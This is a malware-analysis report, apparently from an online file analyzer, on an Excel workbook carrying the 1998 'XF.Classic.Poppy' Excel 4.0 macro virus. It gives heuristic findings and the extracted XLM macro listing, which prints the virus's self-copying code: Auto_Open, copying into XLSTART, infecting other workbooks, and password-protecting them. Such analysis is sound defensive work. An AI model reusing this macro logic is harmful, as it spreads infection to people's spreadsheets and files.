MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains critical heuristic firings indicating the presence of Excel 4.0 (XLM) macros, specifically an Auto_Open entry. The extracted document body and macro information reveal that this is a legacy Excel Formula Macro Virus, likely named 'Poppy' or 'XF.Classic', which attempts to infect other workbooks and potentially execute arbitrary code via dangerous formula APIs like RUN. The presence of Auto_Open suggests it is intended to be delivered as a spearphishing attachment.
Heuristics 4
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUSWorkbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 7063 bytes |
SHA-256: 767f648932d1d34ede72b2559e918277f272b5d64a9939c75ad1ef519b3a28df |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - XL4Popp
' 0018 24 LABEL : Cell Value, String Constant - \P len=7 ptgRefErr3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x01\x01\x01\x01'
' 0018 27 LABEL : Cell Value, String Constant - _Key1 hidden len=7 ptgRef3d Sheet!B158
' 0018 25 LABEL : Cell Value, String Constant - _Order1 hidden len=3 ptgInt 255
' 0018 31 LABEL : Cell Value, String Constant - _Sort hidden len=11 ptgArea3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x9d\x00\xa4\x00\x01\x00\x0e\x00'
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 10 ? hidden len=7 ptgRef3d 6!A2
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 5!C4
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 5!C4
' 0018 26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 5!C31
' 0018 30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 5!C9
' 0018 33 LABEL : Cell Value, String Constant - Country len=11 ptgArea3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x00\x00\xff\xff$\x00$\x00'
' 0018 27 LABEL : Cell Value, String Constant - built-in-name 4 ? len=11 ptgArea3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00e\x01\x01\x00/\x00'
' 0018 83 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00 \xff\xb9\x01'
' 0018 41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018 27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 5!A15
' 0018 25 LABEL : Cell Value, String Constant - hhh len=7 ptgRefErr3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x04\x04\x04'
' 0018 28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 5!A26
' 0018 29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 5!C39
' 0018 27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 5!C27
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
' Sheet,A4,"",1.00000000000000000000
' Sheet,E4,C4*D4/10000,""
' Sheet,A5,"",2.00000000000000000000
' Sheet,E5,C5*D5/10000,""
' Sheet,A6,"",3.00000000000000000000
' Sheet,E6,C6*D6/10000,""
' Sheet,E7,R~3C~4,""
' XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
' XL4Popp,A4,"",3.00000000000000000000
' XL4Popp,C4,RUN(C18),""
' XL4Popp,C5,"ERROR(TRUE,Continue)",""
' XL4Popp,C6,IF(A4=3),""
' XL4Popp,C7,RETURN(),""
' XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
' XL4Popp,C9,ERROR(FALSE),""
' XL4Popp,C10,RUN(A21),""
' XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
' XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
' XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
' XL4Popp,C14,RETURN(),""
' XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
' XL4Popp,A16,"ALERT("© 1998 The Narkotic Network",2)",""
' XL4Popp,A17,RETURN(),""
' XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
' XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
' XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
' XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
' XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
' XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
' XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
' XL4Popp,A23,IF(A21=0),""
' XL4Popp,C23,RETURN(),""
' XL4Popp,A24,RETURN(),""
' XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
' XL4Popp,A26,NEW(1),""
' XL4Popp,A27,WORKBOOK.INSERT(1),""
' XL4Popp,C27,RUN(C19),""
' XL4Popp,A28,WORKBOOK.INSERT(1),""
' XL4Popp,C28,"ERROR(TRUE,Bust)",""
' XL4Popp,A29,ACTIVATE.PREV(),""
' XL4Popp,C29,IF(A4=3),""
' XL4Popp,A30,RUN(C18),""
' XL4Popp,C30,RETURN(),""
' XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
' XL4Popp,C31,ERROR(FALSE),""
' XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
' XL4Popp,C32,ACTIVATE.PREV(),""
' XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
' XL4Popp,C33,RUN(C19),""
' XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
' XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
' XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
' XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
' XL4Popp,A36,WORKBOOK.PREV(),""
' XL4Popp,C36,RETURN(),""
' XL4Popp,A37,WORKBOOK.PREV(),""
' XL4Popp,A38,WORKBOOK.PREV(),""
' XL4Popp,A39,SAVE.AS(A3),""
' XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
' XL4Popp,A40,FILE.CLOSE(),""
' XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
' XL4Popp,A41,RETURN(),""
' XL4Popp,C41,RETURN(),""
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.